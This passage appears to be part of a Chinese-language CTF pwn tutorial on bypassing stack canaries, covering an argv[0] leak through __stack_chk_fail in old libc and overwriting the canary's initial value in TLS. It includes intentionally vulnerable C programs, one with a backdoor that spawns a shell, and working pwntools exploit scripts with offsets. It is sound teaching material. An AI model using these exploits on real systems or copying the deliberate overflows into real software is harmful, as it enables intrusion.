4. __stack_chk_fail泄露信息
原理
利用 stack_chk_fail 函数报错信息泄露数,stack_chk_fail 函数输出错误信息时会把 __libc_argv[0] 作为信息输出,也就是 main 函数参数的 argv[0],这个参数保存在栈中,如果可以覆盖该参数,也就可以打印出需要泄露的信息。
注意高版本的 libc 的 __fortify_fail 函数并不会打印 __libc_argv[0]。
源码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
const char flag[] = "flag{this_is_a_flag}";
void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x1000);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}
我们知道触发canary时会去执行_stack_chk_fail函数,执行这个函数时,会在屏幕上打印这么一段信息
分析下stack_chk_fail的源码,他会调用一个fortify_fail函数并传入”stack smashing detected”字符串
分析__fortify_fail函数,此处,第一个%s的参数是msg,第二个参数需要判断,如果msg!=NULL,就打印__libc_argv[0],否则打印”
_libc_argv[0]是二级指针指向栈上的argv[0],argv[0]指向一个字符串,想深入理解的话可以去了解一下程序的main函数
可以尝试在gdb尝试修改指针的值
算偏移的时候得手工生成,直接cyclic生成一直卡在这里不知道啥原因
偏移是520
测试版本是2.23的libc,高版本可以直接用当前系统的编译,然后可以发现打印不了,因为高版本已经修复了
exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# gdb.attach(p, "b __stack_chk_fail\nc")
# pause()
# p.sendafter(b"please input:\n", b'aaaaaaaabaa...iaaaaaagjaaaaaag')
p.sendafter(b"please input:", b'a' * 520 + p64(elf.sym['flag']))
p.interactive()
5. 覆盖TLS中的初始值
linux 下 fs 寄存器指向当前栈的 TLS 结构,fs:0x28 指向的是 TLS 结构中的 stack_guard 值,如果可以覆盖位于 TLS 中的 canary 初始值就可以绕过 canary 保护。
tls是可写的
观察一下在libc下面,所以和libc的偏移是固定的
canary在这个位置
如果知道malloc的地址就可以知道heapbuf,且知道和libc有固定偏移,libc和tls有固定偏移,然后就可以找到canary覆盖成我们已经知道的值
malloc申请的地址和libc的地址很接近
计算canary和malloc的偏移
要被覆盖的canary
可以看到覆盖成8字节的b了,后面正常栈溢出就可以了
源码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
void backdoor() {
puts("this is backdoor.");
system("/bin/sh");
}
void vuln() {
char *heapbuf = malloc(0x80000); // 申请内存特别大用mmap申请内存,有一个特点和libc是连续的
char stackbuf[0x100];
size_t offset, length;
puts("offset:");
scanf("%zd", &offset);
puts("length:");
scanf("%zd", &length);
puts("heapbuf:");
read(0, heapbuf + offset, length);
puts("stackbuf:");
read(0, stackbuf, 0x200);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}
exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# gdb.attach(p, "b *0x4012c5\nc")#read
# pause()
p.sendlineafter(b"offset:", str(0x81758))#canary和malloc申请地址的偏移
p.sendlineafter(b"length:", str(8))
p.sendafter(b"heapbuf:", b'b' * 8)#填8就可以把canary覆盖掉
payload = b"a" * 0x108
payload += b'b' * 8 # canary
payload += b'c' * 8 # rbp
payload += p64(next(elf.search(asm('ret'), executable=True)))
payload += p64(elf.sym['backdoor'])
p.sendafter(b"stackbuf:", payload)
p.interactive()
作者:晨星安全团队--tblr